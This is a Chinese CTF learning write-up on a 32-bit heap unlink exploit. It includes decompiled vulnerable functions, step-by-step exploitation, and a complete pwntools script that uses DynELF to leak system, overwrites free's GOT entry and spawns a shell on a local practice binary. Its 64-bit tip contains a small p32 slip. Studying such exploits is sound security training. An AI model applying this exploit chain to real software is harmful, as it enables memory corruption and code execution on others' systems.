unlink例题

题目描述

先运行该程序,发现是一道典型的菜单题,有增删查改功能。
知识点:unlink

1
2
3
4
5
6
nick@nick-machine:~/pwn_learn/heapLearn/unlink/t1$ ./heap
1.Add chunk
2.Set chunk
3.Delete chunk
4.Print chunk
5.Exit

程序分析

其中,add函数没有对申请的chunk大小做限制。
set函数中:

1
2
3
4
5
6
7
8
9
10
11
12
ssize_t set()
{
int v1; // [esp+Ch] [ebp-Ch]

v1 = -1;
write(1, "Set chunk index:", 0x10u);
__isoc99_scanf("%d", &v1);
if ( v1 < 0 )
return write(1, "Set chunk data error!\n", 0x16u);
write(1, "Set chunk data:", 15u);
return read(0, buf[v1], 0x400u);
}

可以发现代码中没有对写入的长度做限制,存在溢出
同时,buf[]中储存指向chunk的指针,且为全局变量,可以获得地址
由此确定程序中存在unlink漏洞

delete函数中:

1
2
3
4
5
6
7
8
9
10
11
12
void delete()
{
int v0; // [esp+Ch] [ebp-Ch]

v0 = -1;
write(1, "Delete chunk index:", 0x13u);
__isoc99_scanf("%d", &v0);
if ( v0 >= 0 )
free(buf[v0]);
else
write(1, "Delete chunk error!\n", 0x14u);
}

释放chunk后没有对指针赋0,会造成UAF漏洞,但此题不会利用到。

在print函数中,可输出任意index的chunk,用于泄露数据。

由于题目没有给出libc,所以需要用到DynELF来泄露system函数,可以利用unlink后修改chunk指针来实现任意读

漏洞利用

  1. 分配3个连续的chunk,大小为0x80(smallchunk)
    chunk0、chunk1: 用于构造unlink
    chunk2:用于防止被top chunk合并
  2. 在chunk0中构造fake chunk,准备unlink
    prevsize:0
    size:0x80
    fd:chunk_ptr - 0xc
    bk:chunk_ptr - 0x8
    注意:chunk_ptr是指向chunk0的指针变量所在的地址,即&buf[0],而非指针指向的地址
  3. 从chunk0继续溢出到chunk1,修改prevsize、size(inuse位)
    prevsize: 0x80
    size:0x88
  4. 释放chunk1,触发unlink,此后buf[0],即chunk0的指针的值被修改为了chunk_ptr-0xc
  5. 写入chunk0,构造leak函数,准备利用DynELF来泄露system,由于指针被修改,实际写入地址是chunk_ptr-0xc。
    payload = 'a' * 0xc //padding
    payload += p32(chunk_ptr-0xc) //保留chunk0的指针,以便重复利用
    payload += p32(addr) //将addr写入chunk1的指针(buf[1])
    此后输出chunk1即为输出地址addr的值,实现可重复利用的任意地址读取
  6. 利用DynELF泄露出system函数地址
  7. 利用(5)的payload,将addr设为free_got,再向chunk1中写入system的地址。因为chunk1的指针被覆盖为free_got,所以会将system的地址写入free的got表
  8. 向chunk2中写入'/bin/sh\x00',调用free(chunk2),因为free被覆盖为system,所以实际调用system(chunk2),成功getshell

我的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *

elf = ELF('heap')
free_got = elf.got['free']
chunk_ptr = 0x8049d60

#p = process('heap')
p = remote('127.0.0.1', 4000)

def add_chunk(size):
p.recvuntil('5.Exit\n')
p.sendline('1')
p.recvuntil('Input the size of chunk you want to add:')
p.sendline(str(size))

def set_chunk(index, data):
p.recvuntil('5.Exit\n')
p.sendline('2')
p.recvuntil('Set chunk index:')
p.sendline(str(index))
p.recvuntil('Set chunk data:')
p.send(data)

def delete_chunk(index):
p.recvuntil('5.Exit\n')
p.sendline('3')
p.recvuntil('Delete chunk index:')
p.sendline(str(index))

def print_chunk(index):
p.recvuntil('5.Exit\n')
p.sendline('4')
p.recvuntil('Print chunk index:')
p.sendline(str(index))
return p.recvline()

def leak(addr):
payload = 'a' * 0xc + p32(chunk_ptr-0xc) + p32(addr)
set_chunk(0, payload)
res = print_chunk(1)[:4]
print "leaking: %#x ---> %s" % (addr, res.encode('hex'))
return res


add_chunk(128)
add_chunk(128)
add_chunk(128)
set_chunk(2, '/bin/sh\x00')

#在第一个chunk的数据区域构造一个假chunk,size为0x80,并设置fd、bk
payload = p32(0) + p32(0x80) + p32(chunk_ptr-0xc) + p32(chunk_ptr-0x8)
#从第一个chunk写入数据覆盖到第二个chunk,讲第二个chunk的prev_size设为0x80,并将size的in_use标志置0
payload += 'a' * (0x80-0x10) + p32(0x80) + p32(0x88)
set_chunk(0, payload)

#free第二个chunk,将会触发unlink
delete_chunk(1)

#泄露system的地址
d = DynELF(leak, elf = elf)
system = d.lookup('system', 'libc')
print "system addr: %#x" % system

#将free_got的地址覆盖掉第二个chunk的地址
payload = 'a' * 0xc + p32(chunk_ptr-0xc) + p32(free_got)
set_chunk(0, payload)

#修改第二个chunk,由于地址被覆盖,实际修改的是free的got表,将其修改为system的地址
set_chunk(1, p32(system))

#调用free,实际调用system
delete_chunk(2)

p.interactive()

注意

  1. set_chunk函数中最后应该用send而非sendline,否则在发送的数据末尾会多出一个’\n’,而导致比预期多覆盖一个字节,在leak时会使chunk2的指针的一个字节被修改,最后free时导致无法getshell。若使用sendline,请在chunk1后再多加一个chunk来隔开存放’/bin/sh\x00’的chunk。
  2. unlink学习过程中应该着重弄清楚什么时候是地址、什么时候是值
  3. 此题为32位程序,若是64位应将p32(chunk_ptr-0xc) + p32(chunk_ptr-0x8)改为p32(chunk_ptr-0x18) + p32(chunk_ptr-0x10)

相关链接

题目链接:heap
HITCON CTF 2014-stkof

文章作者: Hpasserby
文章链接: https://hpasserby.me/post/503970b4.html
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hpasserby
支付宝赞赏
微信赞赏